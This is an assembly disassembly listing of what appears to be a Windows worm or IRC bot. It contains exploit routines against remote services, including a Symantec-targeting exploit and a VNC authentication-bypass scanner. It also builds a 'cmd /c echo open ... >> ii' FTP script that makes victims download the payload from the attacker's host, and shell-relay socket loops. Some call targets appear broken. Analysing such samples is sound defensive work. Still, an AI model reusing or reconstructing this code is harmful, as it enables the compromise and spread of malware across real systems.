		push	offset loc_433410
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_40E430:				; CODE XREF: sub_40E3F1+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40E430
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_432EA0
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_41CD20
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_41CD20
		mov	ax, word_433290
		add	esp, 2Ch
		push	eax
		call	dword_4CB9D4
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_432BA0
		call	sub_41CD20
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E5ED
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4332D0[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_41CD20
		mov	esi, offset loc_432AF0
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_433408
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_41CD20
		add	esp, 40h
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_40E5A6:				; CODE XREF: sub_40E3F1+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_40E5A6
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_41BF70
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_41BF70
		add	esp, 18h
		jmp	short loc_40E644
; ---------------------------------------------------------------------------


loc_40E5ED:				; CODE XREF: sub_40E3F1+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_41BF70
		mov	esi, offset loc_432AF0
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_41CD20
		mov	eax, dword_4332D0
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_40E644:				; CODE XREF: sub_40E3F1+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_41BF70
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E683


loc_40E67C:				; CODE XREF: sub_40E3F1+2B9j
					; sub_40E3F1+2E0j ...
		xor	al, al
		jmp	loc_40E82B
; ---------------------------------------------------------------------------


loc_40E683:				; CODE XREF: sub_40E3F1+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	68h
		push	offset dword_432F04
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	0A0h
		push	offset dword_432F70
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E799
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_433128
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_41CD20
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_433194
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_41CD20
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_433208
		push	eax
		call	sub_41CD20
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_40E7EF
; ---------------------------------------------------------------------------


loc_40E799:				; CODE XREF: sub_40E3F1+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_433014
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_41CD20
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_433094
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_40E7EF:				; CODE XREF: sub_40E3F1+3A6j
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	12Ch
		nop
		call	near ptr 26803B2h
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E292
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_40E82B:				; CODE XREF: sub_40E3F1+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E3F1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E929
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E929
		push	edi
		push	89h
		push	offset dword_432C88
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	edi
		push	0A8h
		push	offset dword_432D14
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	edi
		push	0DEh
		push	offset dword_432DC0
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		movsx	eax, byte ptr [ebp-810h]
		sub	eax, 30h
		jz	short loc_40E933
		dec	eax
		jz	short loc_40E930


loc_40E929:				; CODE XREF: ___:0040E884j
					; ___:0040E89Aj ...
		xor	eax, eax
		jmp	loc_40E9F6
; ---------------------------------------------------------------------------


loc_40E930:				; CODE XREF: ___:0040E927j
		push	edi
		jmp	short loc_40E957
; ---------------------------------------------------------------------------


loc_40E933:				; CODE XREF: ___:0040E924j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40E977
		push	1


loc_40E957:				; CODE XREF: ___:0040E931j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jz	short loc_40E97E


loc_40E977:				; CODE XREF: ___:0040E953j
		mov	dword ptr [ebp-4], 1


loc_40E97E:				; CODE XREF: ___:0040E975j
		push	ebx
		call	dword_4CBA6C
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40E9F3
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-214h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40E9F3:				; CODE XREF: ___:0040E989j
		push	1
		pop	eax


loc_40E9F6:				; CODE XREF: ___:0040E92Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9FB	proc near		; CODE XREF: sub_40EAE9+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40EAC9
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EAC9
		mov	edi, 400h
		push	esi
		mov	esi, dword_4271FC
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CB710
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EACD


loc_40EAC9:				; CODE XREF: sub_40E9FB+50j
					; sub_40E9FB+62j
		xor	eax, eax
		jmp	short loc_40EAE4
; ---------------------------------------------------------------------------


loc_40EACD:				; CODE XREF: sub_40E9FB+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax


loc_40EAE4:				; CODE XREF: sub_40E9FB+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E9FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EAE9	proc near		; CODE XREF: sub_40C3E8+1EAp
					; DATA XREF: ___:off_4317FCo

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CBA14
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EB5B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB3C
		push	esi
		jmp	short loc_40EB55
; ---------------------------------------------------------------------------


loc_40EB3C:				; CODE XREF: sub_40EAE9+4Ej
		push	0
		push	1213h
		push	offset dword_433424
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40EB5F


loc_40EB55:				; CODE XREF: sub_40EAE9+51j
		nop
		call	near ptr 71AB1A6Dh


loc_40EB5B:				; CODE XREF: sub_40EAE9+3Cj
		xor	eax, eax
		jmp	short loc_40EBA1
; ---------------------------------------------------------------------------


loc_40EB5F:				; CODE XREF: sub_40EAE9+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E9FB
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40EB9E
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40EB9E:				; CODE XREF: sub_40EAE9+9Ej
		push	1
		pop	eax


loc_40EBA1:				; CODE XREF: sub_40EAE9+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40EAE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBA5	proc near		; CODE XREF: ___:0040EC93p
					; ___:0040ECF5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40EBAD:				; CODE XREF: sub_40EBA5+2Dj
		test	edi, edi
		jle	short loc_40EBD8
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB9EC
		test	eax, eax
		jz	short loc_40EBD4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EBD4
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40EBAD
; ---------------------------------------------------------------------------


loc_40EBD4:				; CODE XREF: sub_40EBA5+22j
					; sub_40EBA5+27j
		xor	eax, eax
		jmp	short loc_40EBDB
; ---------------------------------------------------------------------------


loc_40EBD8:				; CODE XREF: sub_40EBA5+Aj
		push	1
		pop	eax


loc_40EBDB:				; CODE XREF: sub_40EBA5+31j
		pop	edi
		pop	esi
		retn
sub_40EBA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBDE	proc near		; CODE XREF: ___:0040ECDFp
					; ___:0040ED0Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40EC1B
		xor	esi, esi
		test	edi, edi
		jle	short loc_40EC15


loc_40EBEE:				; CODE XREF: sub_40EBDE+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EC1B
		test	eax, eax
		jz	short loc_40EC1B
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40EBEE


loc_40EC15:				; CODE XREF: sub_40EBDE+Ej
		push	1
		pop	eax


loc_40EC18:				; CODE XREF: sub_40EBDE+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40EC1B:				; CODE XREF: sub_40EBDE+8j
					; sub_40EBDE+2Bj ...
		xor	eax, eax
		jmp	short loc_40EC18
sub_40EBDE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_4346DC
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40EC4D
		push	eax
		jmp	short loc_40EC81
; ---------------------------------------------------------------------------


loc_40EC4D:				; CODE XREF: ___:0040EC48j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB9D4
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC8C
		push	ebx


loc_40EC81:				; CODE XREF: ___:0040EC4Bj
		call	dword_4CBA6C
		jmp	loc_40EE87
; ---------------------------------------------------------------------------


loc_40EC8C:				; CODE XREF: ___:0040EC7Ej
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41CCE3
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40EE80
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40ECD8
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40EE80


loc_40ECD8:				; CODE XREF: ___:0040ECCCj
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40EE80
		push	1
		push	offset word_4CB88C
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41D9A5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40EE10
		push	edi
		push	esi
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch


loc_40EE10:				; CODE XREF: ___:0040EE03j
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431800[eax]
		push	ebx
		lea	eax, dword_431800[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40EE89
; ---------------------------------------------------------------------------


loc_40EE80:				; CODE XREF: ___:0040EC9Dj
					; ___:0040ECC2j ...
		push	ebx
		call	near ptr 71AB1A6Dh
		nop


loc_40EE87:				; CODE XREF: ___:0040EC87j
		xor	eax, eax


loc_40EE89:				; CODE XREF: ___:0040EE7Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EE97:				; CODE XREF: ___:0040EEB3j
					; ___:0040EECFj
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE708
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_40EE97
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CE704
		nop
		call	near ptr 2700000h
		jmp	short loc_40EE97
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EEDA:				; CODE XREF: ___:0040EF00j
					; ___:0040EF1Aj
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE6F8
		nop
		call	near ptr 26F1066h
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40EEDA
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CE708
		call	dword_4CBA24
		jmp	short loc_40EEDA
; ---------------------------------------------------------------------------
dword_40EF1C	dd 81EC8B55h, 11CECh, 8458B00h,	6A575653h, 59F08B28h, 0FEE4BD8Dh
					; DATA XREF: sub_401ACD+2CCAo
		dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
		dd 21E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
		dd 15FFFFFFh, 4CB9D4h, 6A56066Ah, 45896602h, 5415FFCAh
		dd 89004CBAh, 458D0845h, 50106AC8h, 0FF0875FFh,	4CBA0015h
		dd 0FF056A00h, 15FF0875h, 4CB9FCh, 71081D8Bh, 358B0042h
		dd 427070h, 75FF5757h, 6815FF08h, 0A3004CBAh, 4CE708h
		dd 57F4458Dh, 0E7046850h, 68004Ch, 0C7004CE7h, 0CF445h
		dd 45C70000h, 1FCh, 0F87D8900h,	458DD3FFh, 685057F4h, 4CE6FCh
		dd 4CE6F868h, 6AD3FF00h, 84458D44h, 85E85057h, 0A10000CFh
		dd 4CE700h, 890CC483h, 0FCA1BC45h, 89004CE6h, 6A57C045h
		dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
		dd 7D896600h, 6E890B4h,	50023116h, 0E6FC35FFh, 0FAE8004Ch
		dd 90023115h, 0FCEE850h, 8D900231h, 8D50D845h, 57508445h
		dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4346E068h
		dd 0CCE85700h, 90022612h, 50E8458Dh, 0D1685757h, 8D0040EEh
		dd 5057F445h, 2713CAE8h, 45899002h, 0E8458DECh,	68575750h
		dd 40EE8Eh, 57F4458Dh, 0B0E89050h, 6A022713h, 0F04589FFh
		dd 90D875FFh, 28129AE8h, 75FF5702h, 0AEE890F0h,	5702281Ah
		dd 90EC75FFh, 281AA4E8h, 0F075FF02h, 75FFD6FFh,	57D6FFECh
		dd 90D875FFh, 3019D1E8h, 35FF02h, 0FF004CE7h, 435FFD6h
		dd 0FF004CE7h, 0F835FFD6h, 0FF004CE6h, 0FC35FFD6h, 0FF004CE6h
		dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
		dd 0FFFE6800h, 680000h,	0E8000004h, 9AD1h, 0E710A359h
		dd 0C359004Ch
dword_40F108	dd 81EC8B55h, 6C0ECh, 8458B00h,	6A575653h, 59F08B27h, 0FF50BD8Dh
					; DATA XREF: sub_40BD91+34Do
		dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
		dd 35E85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
		dd 15FFFFFFh, 4CB9D4h, 26A5653h, 0EE458966h, 0FFF05D89h
		dd 4CBA5415h, 83F88B00h, 0FE3BFFCEh, 5D394575h,	532075E4h
		dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
		dd 0E8FFFFFFh, 0FFFFA6DDh, 8D14C483h, 0FFFD4085h, 9DE850FFh
		dd 0FF00006Bh, 0FFFF54B5h, 0C530E8FFh, 5959FFFFh, 0E52E853h
		dd 8B90022Dh, 0FFFF5485h, 69106AFFh, 234C0h, 1CB88900h
		dd 8D0043E9h, 5750EC45h, 0BA0015FFh, 0C63B004Ch, 400BBh
		dd 0CF850F00h, 0FF000000h, 4CB96815h, 27403D00h, 47740000h
		dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh,	858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA65Dh, 8D14C483h
		dd 0FFFD4085h, 1DE850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4B0E8FFh
		dd 5959FFFFh, 0D1E89056h, 68022D0Dh, 0FFFEh, 9997E853h
		dd 0A3590000h, 4CE710h,	45896659h, 0EC458DEEh, 5750106Ah
		dd 0BA0015FFh, 0C63B004Ch, 15FF5475h, 4CB968h, 7539F633h
		dd 3D2775E4h, 2740h, 8D562074h,	0FFFD4085h, 0E075FFFFh
		dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0E2E8FFFFh, 83FFFFA5h
		dd 858D14C4h, 0FFFFFD40h, 6AA2E850h, 0B5FF0000h, 0FFFFFF54h
		dd 0FFC435E8h, 565959FFh, 2D0D57E8h, 56A9002h, 0FC15FF57h
		dd 3B004CB9h, 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h
		dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CBA6815h
		dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
